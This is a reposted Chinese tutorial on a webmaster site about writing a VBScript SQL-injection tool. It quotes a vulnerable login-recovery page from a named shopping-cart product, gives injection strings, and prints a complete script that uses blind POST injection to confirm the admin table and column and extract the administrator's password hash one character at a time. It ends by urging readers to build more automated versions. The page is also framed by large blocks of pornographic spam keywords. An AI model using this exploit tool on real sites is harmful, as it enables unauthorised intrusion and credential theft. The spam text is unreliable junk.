亚洲国产精品人久久,亚洲va国产日韩欧美精品色婷婷,久久久久88色偷偷,免费人成黄页在线观看国际

17站長網

17站長網 首頁 安全 入侵防御 查看內容

談VBS在Hacking中的作用———SQL Inject中的應用

2022-9-26 10:55| 查看: 2288 |來源: 互聯網

平常我們遇到有注入漏洞一類的網站大部分人都是用NBSI Or 阿D一類的注射工具。但有的站點的注射點很難構造,或者說注射語句比較特殊。如果用手工去注射的話,費時又費力!但自己寫針對性的工具的話,對一些剛入門不
平常我們遇到有注入漏洞一類的網站大部分人都是用NBSI Or 阿D一類的注射工具。但有的站點的注射點很難構造,或者說注射語句比較特殊。如果用手工去注射的話,費時又費力!但自己寫針對性的工具的話,對一些剛入門不久或不會編程的朋友來說,實在是一件很痛苦的事情。因此今天NP給大家帶來的文章就是講如何用簡單的VBS腳本來打造我們所要的注射工具。
在您繼續看這篇文章之前,我先大膽的假設此時的您已經學會了VBS腳本的基礎知識以及基本的SQL Inject知識。
首先,我們先來看一段有漏洞的代碼。(此代碼摘自“網趣網上購物系統時尚版 v3.2”的Getpwd2.asp的片段)

<%
username=request.form("username")
set rs=Server.CreateObject("Adodb.Recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
If rs.eof Then
%>

已知管理員表為admin 密碼字段為password
有經驗的朋友可以很清楚的看到第6句的SQL語句把沒有經過任何過濾的Username變量,直接提交執行了。這是一個很經典的SQL Inject漏洞。那么我們如何去利用這個漏洞呢?
由于username變量是用request.form獲取的,而我們知道request.form只接受POST提交上來的數據,因此我們不能像往常一樣構造如下語句進行注射了。
http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''='
//直接在URL地址欄輸入的話,由于是GET提交數據,Getpwd2.asp是不會接收數據的。
看到這,您或許會說,那用NBSI中的POST提交功能呢?
經過測試把http://127.0.0.1/getpwd2.asp?username= 填入NBSI地址欄,使用POST提交,NBSI會說“注入破解失敗”

由于語句的關系,NBSI無法幫我們跑出相關密碼。阿D就不用說了,全用GET…也無法幫我們完成任務.
現在我們再測試下手工注射!
我們將如下語句填入getpwd.asp的表單中:
' or 0<>(select count(*) from admin) and ''='

返回正確提示,說明我們注射成功!

OK,架設的環境已經大體分析清楚了….我們開始進入主題.
VBS 的注射腳本需要用到XmlHttp組件和ADODB.Stream組件,請確保您機器上存在這兩個組件!(默認系統自帶,但由于去年ADODB.Stream網頁木馬的事件,很多機器的 ADODB.Stream組件被刪除了,所以寫此注射腳本時,請保證該組件可以使用)
On error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then

wscript.echo "Execute it under the cmd.exe Plz! Thx."

wscript.quit
end if
‘//上面的IF語句是判斷腳本執行程序是否為wscript.exe,如果是則提示對方到CMD下執行
URL=lcase(trim(Wscript.Arguments(0)))
‘//簡單過濾提交參數的兩邊空格以及轉換成全小寫.
RightW = "這個用戶沒有注冊"
‘//這個是定義判斷猜對與否的關鍵字
if url <> "" then

'猜解管理員表

data = "' or 0<>(select count(*) from admin) and ''='"

GetHTTPPage(url)

If len(GetHTTPPage(url)) <5 then

wscript.echo "Error...Please checking the url!"

wscript.quit

end if

‘//上面這個IF語句,主要是判斷反饋信息,如果反饋信息的長度少于5,那說明提交的URL有問題,需要退出重新檢查后再注射.

If Instr(GetHTTPPage(url), RightW) = 0 then

Wscript.echo "Table name ""admin"" find"

else

wscript.echo "Not found table name ...exit..."

wscript.quit

end If
‘//如果發現關鍵字,則報告表名猜解正確,否則退出!

'猜解密碼字段

data ="' or 0<>(select count(password) from admin) and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

WScript.Echo ""

Wscript.echo "The Column name ""password"" find"

else

wscript.echo "Not found Column name ...exit..."

wscript.quit

End If
‘//猜解密碼字段亦同!

'猜解密碼

WScript.Echo ""

WScript.Echo "Start guessing,Waiting... ..."

WScript.Echo ""

pwd=""

strings="0123456789abcdef" '定義密碼范圍(構成md5值的主要字符)

For i=1 To 16 Step 1

wscript.echo "Guessing
No. "&i&"... ..."

For k=1 To Len(strings) Step 1

data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='"

GetHTTPPage(url)

If Instr(GetHTTPPage(url), RightW) = 0 then

pwd = pwd&Mid(strings,k,1)

Exit For

End If

Next

Next
‘//此腳本之精華之處,嵌套循環猜解密碼!
‘//依次取密碼與構成MD5的主要16個字符的ASC值進行對比
‘//正確則給PWD附值并跳出單循環,繼續下一個猜解

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "Guessing over!!!"

If error Then

Wscript.echo "error:" & Error.Description

Error.Clear

Else

Wscript.echo "Password is:" & pwd

End if
‘//輸出已經猜解成功的密碼

else

wscript.echo "--------------------------------------------------------------------------------"

wscript.echo "e.g
cscript getpass.vbs http://127.0.0.1/getpwd2.asp"

wscript.echo "--------------------------------------------------------------------------------"

End if
‘//以下是注射的POST提交函數
‘//用ADODB.Stream轉換編碼,速度比較快,對于反饋數據多的站點比較有優勢!
Function GetHTTPPage(url)

dim XmlHttp

set XmlHttp=createobject("Msxml2.XMLHTTP")

XmlHttp.open "POST",url,false

xmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded"

XmlHttp.send("username="&data)

if XmlHttp.readystate<>4 then exit function

GetHTTPPage=Bytes2bStr(xmlHttp.responsebody)

set XmlHttp=nothing

if err.number<>0 then err.Clear
End Function

Function Bytes2bStr(vin)

Dim BytesStream,StringReturn

Set BytesStream = CreateObject("ADODB.Stream")

BytesStream.Type = 2

BytesStream.Open

BytesStream.WriteText vin

BytesStream.Position = 0

BytesStream.Charset = "GB2312"

BytesStream.Position = 2

StringReturn =BytesStream.ReadText

BytesStream.close

Set BytesStream = Nothing

Bytes2bStr = StringReturn
End Function

注意事項:要提交的SQL語句,空格需要用加號替換,否則在有的機器上無法猜解!
以上就是我們自己針對性打造的注射工具了.
使用方法也很簡單,在CMD下執行
Cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么樣?是不是很簡單呢?
您或許還會說,為什么沒猜管理員的用戶名字段和相關ID呢?呵呵,這就留個大家當作業吧.
您可以添加如下功能:
自動判斷管理員的用戶名字段
自動判斷管理員的用戶名所在的有效ID值
可猜解指定的ID.
更深入的過濾及檢測URL是否有效.
多說無意…行動最實際! Go Go Go…開始打造你自己的注射程序
本文最后更新于 2022-9-26 10:55,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:17tui@17tui.com
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        亚洲国产精品人久久,亚洲va国产日韩欧美精品色婷婷,久久久久88色偷偷,免费人成黄页在线观看国际
        亚洲在线视频一区| 一本大道久久a久久精品综合| 免费亚洲电影在线| 亚洲一区二区三区四区在线| 久久久久国产精品人| 久久久久久久免费视频了| 亚洲欧美日韩在线播放| 久久精品国产亚洲高清剧情介绍| 亚洲.国产.中文慕字在线| 亚洲愉拍自拍另类高清精品| 一区二区三区美女视频| 成人少妇影院yyyy| 中文字幕不卡的av| 丝袜美腿亚洲综合| 波多野结衣视频一区| 成人精品免费看| 久久久影视传媒| 色综合久久综合网| 国产一区二区免费看| 天天av天天翘天天综合网| 国产精品欧美精品| 91美女片黄在线观看91美女| 精品久久久久久久人人人人传媒| 欧美亚洲国产怡红院影院| 制服丝袜亚洲色图| 一区二区三区欧美亚洲| 国产精品三级在线观看| 中文字幕在线不卡一区| 精品影院一区二区久久久| 大尺度一区二区| 日韩一区二区三区免费看| 在线电影院国产精品| 中文字幕一区av| 在线亚洲+欧美+日本专区| 亚洲免费观看高清完整版在线| 日产国产高清一区二区三区| 欧美精品一卡两卡| 91在线播放网址| 国产 日韩 欧美大片| 国产在线不卡一卡二卡三卡四卡| 久久国产日韩欧美精品| aaa欧美大片| 精品久久久网站| 天天操天天色综合| 美女视频一区在线观看| 丝袜诱惑制服诱惑色一区在线观看 | 久久精品夜夜夜夜久久| 国产在线精品国自产拍免费| 色av综合在线| 国产精品成人一区二区艾草| 麻豆中文一区二区| 欧美日韩国产不卡| 一区二区三区在线观看动漫| 成人免费不卡视频| 中文子幕无线码一区tr| 国产91色综合久久免费分享| 26uuu国产在线精品一区二区| 日韩国产欧美在线视频| 欧美福利一区二区| 日韩电影一区二区三区| 欧美日韩精品福利| 婷婷国产在线综合| 欧美va亚洲va在线观看蝴蝶网| 亚洲专区一二三| 欧美综合一区二区三区| 亚洲一区二区三区四区在线 | 国产成人在线视频网址| 精品福利av导航| 国产成人啪午夜精品网站男同| 久久久精品国产免费观看同学| 国产一区二区三区免费看 | 亚洲桃色在线一区| 日本乱人伦一区| 亚洲国产cao| 91精品国产综合久久精品麻豆| 日韩av电影天堂| 久久久精品免费网站| 91网站最新地址| 亚洲不卡av一区二区三区| 日韩欧美中文字幕公布| 国产不卡视频在线播放| 最新久久zyz资源站| 欧美色电影在线| 久久精品国产亚洲一区二区三区| 欧美激情一区二区三区蜜桃视频 | 欧美大黄免费观看| 国产91露脸合集magnet| 亚洲综合激情小说| 久久婷婷久久一区二区三区| av午夜精品一区二区三区| 三级不卡在线观看| 国产精品情趣视频| 欧美老女人第四色| 99久久久国产精品| 久久精品国内一区二区三区| 夜夜嗨av一区二区三区| 国产清纯在线一区二区www| 欧美性高清videossexo| 成人永久aaa| 激情综合色播激情啊| 亚洲视频综合在线| 国产日韩欧美不卡在线| 日韩一区二区免费电影| 欧美在线色视频| 9l国产精品久久久久麻豆| 国产在线精品免费| 久久精品国产色蜜蜜麻豆| 亚洲国产日韩av| 亚洲精选在线视频| 1024成人网| 国产精品久久久久久久久免费相片 | 欧美人妇做爰xxxⅹ性高电影| 国产精品一区二区三区99| 免费在线观看成人| 蜜桃在线一区二区三区| 日韩成人午夜精品| 偷拍一区二区三区| 亚洲aaa精品| 婷婷久久综合九色综合伊人色| 亚洲一区二区偷拍精品| 亚洲国产欧美日韩另类综合 | 欧美欧美欧美欧美首页| 欧美性猛片xxxx免费看久爱| 在线精品观看国产| 欧美三级电影网| 欧美年轻男男videosbes| 欧美日韩国产小视频在线观看| 91精品91久久久中77777| 欧美做爰猛烈大尺度电影无法无天| 色伊人久久综合中文字幕| 日本韩国一区二区三区| 欧美理论电影在线| 久久久综合激的五月天| 久久久影院官网| 亚洲欧美日韩综合aⅴ视频| 亚洲乱码国产乱码精品精的特点| 怡红院av一区二区三区| 日韩黄色片在线观看| 激情图片小说一区| 99久久综合99久久综合网站| av欧美精品.com| 91麻豆精品91久久久久同性| 久久―日本道色综合久久| 最新国产の精品合集bt伙计| 亚洲国产成人porn| 国产中文字幕精品| 色综合天天性综合| 91精品在线一区二区| 国产精品沙发午睡系列990531| 亚洲乱码日产精品bd| 亚洲18影院在线观看| 高清不卡一区二区在线| 日本韩国一区二区| 国产亚洲视频系列| 五月激情综合网| 99久久久免费精品国产一区二区| 欧美美女网站色| 自拍偷拍亚洲综合| 国产一区在线观看麻豆| 欧美午夜不卡视频| 中文字幕一区二区视频| 狠狠色丁香九九婷婷综合五月| 欧美亚洲国产一区在线观看网站| 欧美精品一区二区三区视频| 亚瑟在线精品视频| 色老汉一区二区三区| 中文字幕 久热精品 视频在线| 麻豆免费看一区二区三区| 91国模大尺度私拍在线视频| 久久久久高清精品| 国产一区二区三区电影在线观看| 欧美亚一区二区| 一区二区国产视频| 色综合久久中文字幕| 国产精品久久久久久久久动漫| 极品少妇一区二区三区精品视频| 在线视频你懂得一区| 亚洲人成伊人成综合网小说| 成人手机电影网| 国产精品妹子av| 成人美女视频在线观看| 久久久99免费| 国产成人在线免费| 国产女人18毛片水真多成人如厕| 国产资源在线一区| 久久久久久久综合日本| 国产激情91久久精品导航 | 国产亚洲欧美日韩俺去了| 韩国三级在线一区| 久久久久久麻豆| thepron国产精品| 亚洲美女在线国产| 欧美日韩午夜精品| 捆绑紧缚一区二区三区视频| 精品国产一区二区国模嫣然| 国产在线精品一区二区不卡了 | 亚洲精品少妇30p| 日本韩国欧美在线| 久久成人久久鬼色| 国产精品欧美经典|